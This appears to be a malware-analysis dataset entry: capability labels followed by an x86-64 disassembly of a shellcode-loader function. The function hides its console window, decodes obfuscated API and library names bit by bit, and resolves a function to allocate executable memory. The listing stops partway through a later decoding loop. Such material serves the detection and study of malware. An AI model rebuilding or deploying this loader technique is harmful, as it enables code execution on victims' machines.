Function at 0x402790
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
jmp 0x402790
mov rax, rsp
sub rsp, 0x178
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax - 8], rbx
mov qword [rax - 0x10], rbp
mov qword [rax - 0x18], rsi
mov qword [rax - 0x20], rdi
mov qword [rax - 0x28], r12
mov qword [rax - 0x30], r13
mov qword [rax - 0x38], r14
mov qword [rax - 0x40], r15
mov rax, qword [0x004ea660]
xor rax, rsp
mov qword [rsp + 0x120], rax
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x4027f4
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x004ec2c0], 0x3b9aca00
jg 0x402814
xor ecx, ecx
call qword [sym.imp.USER32.dll_UpdateWindow]
add dword [0x004ec2c0], 1
call fcn.0040107d
xor ebp, ebp
mov edi, ebp
mov ecx, 1
mov esi, 0x20
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x4f
je 0x402842
test edx, edx
je 0x402846
jmp 0x402848
test edx, edx
je 0x402848
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402830
mov byte [rsp + 0x90], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x61
je 0x402874
test edx, edx
je 0x402878
jmp 0x40287a
test edx, edx
je 0x40287a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402862
mov byte [rsp + 0x91], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x76
je 0x4028a6
test edx, edx
je 0x4028aa
jmp 0x4028ac
test edx, edx
je 0x4028ac
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402894
mov byte [rsp + 0x92], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6a
je 0x4028e2
test edx, edx
je 0x4028e6
jmp 0x4028e8
test edx, edx
je 0x4028e8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4028d0
mov byte [rsp + 0x93], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x61
je 0x402914
test edx, edx
je 0x402918
jmp 0x40291a
test edx, edx
je 0x40291a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402902
mov byte [rsp + 0x94], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x402946
test edx, edx
je 0x40294a
jmp 0x40294c
test edx, edx
je 0x40294c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402934
mov byte [rsp + 0x95], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x37
je 0x402982
test edx, edx
je 0x402986
jmp 0x402988
test edx, edx
je 0x402988
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402970
mov byte [rsp + 0x96], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x36
je 0x4029b4
test edx, edx
je 0x4029b8
jmp 0x4029ba
test edx, edx
je 0x4029ba
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4029a2
mov byte [rsp + 0x97], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x2a
je 0x4029e6
test edx, edx
je 0x4029ea
jmp 0x4029ec
test edx, edx
je 0x4029ec
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4029d4
mov byte [rsp + 0x98], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x60
je 0x402a22
test edx, edx
je 0x402a26
jmp 0x402a28
test edx, edx
je 0x402a28
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402a10
mov byte [rsp + 0x99], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x402a54
test edx, edx
je 0x402a58
jmp 0x402a5a
test edx, edx
je 0x402a5a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402a42
mov byte [rsp + 0x9a], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x402a86
test edx, edx
je 0x402a8a
jmp 0x402a8c
test edx, edx
je 0x402a8c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402a74
mov byte [rsp + 0x9b], dil
mov edx, ebp
mov ecx, 1
mov rdi, rsi
mov eax, ecx
and eax, 4
je 0x402ab3
test eax, eax
je 0x402ab7
jmp 0x402ab9
test eax, eax
je 0x402ab9
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x402aa6
mov byte [rsp + 0x9c], dl
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
mov qword [rsp + 0x40], rax
mov edi, ebp
mov edx, 1
mov r8, rsi
nop
nop
mov ecx, edx
mov eax, edx
and eax, 4
and ecx, 0x52
je 0x402b02
test eax, eax
je 0x402b06
jmp 0x402b08
test eax, eax
je 0x402b08
or edi, edx
add edx, edx
sub r8, 1
jne 0x402af0
mov byte [rsp + 0x80], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6d
je 0x402b34
test edx, edx
je 0x402b38
jmp 0x402b3a
test edx, edx
je 0x402b3a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402b22
mov byte [rsp + 0x81], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x76
je 0x402b66
test edx, edx
je 0x402b6a
jmp 0x402b6c
test edx, edx
je 0x402b6c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402b54
mov byte [rsp + 0x82], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x70
je 0x402ba2
test edx, edx
je 0x402ba6
jmp 0x402ba8
test edx, edx
je 0x402ba8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402b90
mov byte [rsp + 0x83], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x71
je 0x402bd4
test edx, edx
je 0x402bd8
jmp 0x402bda
test edx, edx
je 0x402bda
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402bc2
mov byte [rsp + 0x84], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x65
je 0x402c06
test edx, edx
je 0x402c0a
jmp 0x402c0c
test edx, edx
je 0x402c0c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402bf4
mov byte [rsp + 0x85], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x402c42
test edx, edx
je 0x402c46
jmp 0x402c48
test edx, edx
je 0x402c48
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402c30
mov byte [rsp + 0x86], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x45
je 0x402c74
test edx, edx
je 0x402c78
jmp 0x402c7a
test edx, edx
je 0x402c7a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402c62
mov byte [rsp + 0x87], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x402ca6
test edx, edx
je 0x402caa
jmp 0x402cac
test edx, edx
je 0x402cac
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402c94
mov byte [rsp + 0x88], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x402ce2
test edx, edx
je 0x402ce6
jmp 0x402ce8
test edx, edx
je 0x402ce8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402cd0
mov byte [rsp + 0x89], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6b
je 0x402d14
test edx, edx
je 0x402d18
jmp 0x402d1a
test edx, edx
je 0x402d1a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402d02
mov byte [rsp + 0x8a], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x67
je 0x402d46
test edx, edx
je 0x402d4a
jmp 0x402d4c
test edx, edx
je 0x402d4c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402d34
mov byte [rsp + 0x8b], dil
mov edx, ebp
mov ecx, 1
mov rdi, rsi
mov eax, ecx
and eax, 4
je 0x402d73
test eax, eax
je 0x402d77
jmp 0x402d79
test eax, eax
je 0x402d79
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x402d66
mov byte [rsp + 0x8c], dl
lea rdx, [rsp + 0x80]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9d, [rdi + 0x40]
mov r8d, 0x1000
mov r13d, 0x4f600
mov rdx, r13
xor ecx, ecx
call rax
mov r14, rax
mov edi, ebp
mov edx, 1
mov r8, rsi
nop
mov ecx, edx
mov eax, edx
and eax, 1
and ecx, 0x64
je 0x402dd2
test eax, eax
je 0x402dd6
jmp 0x402dd8
test eax, eax
je 0x402dd8
or edi, edx
add edx, edx
sub r8, 1
jne 0x402dc0
mov byte [rsp + 0xc0], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x32
je 0x402e04
test edx, edx
je 0x402e08
jmp 0x402e0a
test edx, edx
je 0x402e0a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402df2
mov byte [rsp + 0xc1], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x52
je 0x402e36
test edx, edx
je 0x402e3a
jmp 0x402e3c
test edx, edx
je 0x402e3c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402e24
mov byte [rsp + 0xc2], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x63
je 0x402e72
test edx, edx
je 0x402e76
jmp 0x402e78
test edx, edx
je 0x402e78
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402e60
mov byte [rsp + 0xc3], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x4f
je 0x402ea4
test edx, edx
je 0x402ea8
jmp 0x402eaa
test edx, edx
je 0x402eaa
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402e92
mov byte [rsp + 0xc4], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x4c
je 0x402ed6
test edx, edx
je 0x402eda
jmp 0x402edc
test edx, edx
je 0x402edc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402ec4
mov byte [rsp + 0xc5], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x70
je 0x402f12
test edx, edx
je 0x402f16
jmp 0x402f18
test edx, edx
je 0x402f18
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402f00
mov byte [rsp + 0xc6], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x6e
je 0x402f44
test edx, edx
je 0x402f48
jmp 0x402f4a
test edx, edx
je 0x402f4a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402f32
mov byte [rsp + 0xc7], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x79
je 0x402f76
test edx, edx
je 0x402f7a
jmp 0x402f7c
test edx, edx
je 0x402f7c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402f64
mov byte [rsp + 0xc8], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x37
je 0x402fb2
test edx, edx
je 0x402fb6
jmp 0x402fb8
test edx, edx
je 0x402fb8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402fa0
mov byte [rsp + 0xc9], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x77
je 0x402fe4
test edx, edx
je 0x402fe8
jmp 0x402fea
test edx, edx
je 0x402fea
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x402fd2
mov byte [rsp + 0xca], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x73
je 0x403016
test edx, edx
je 0x40301a
jmp 0x40301c
test edx, edx
je 0x40301c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x403004
mov byte [rsp + 0xcb], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x46
je 0x403052
test edx, edx
je 0x403056
jmp 0x403058
test edx, edx
je 0x403058
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x403040
mov byte [rsp + 0xcc], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x52
je 0x403084
test edx, edx
je 0x403088
jmp 0x40308a
test edx, edx
je 0x40308a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x403072
mov byte [rsp + 0xcd], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x6b
je 0x4030b6
test edx, edx
je 0x4030ba
jmp 0x4030bc
test edx, edx
je 0x4030bc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4030a4
mov byte [rsp + 0xce], dil
mov edi, ebp
mov ecx, 1
mov r8, rsi
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x70
je 0x4030f2
test edx, edx
je 0x4030f6
jmp 0x4030f8
test edx, edx
je 0x4030f8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4030e0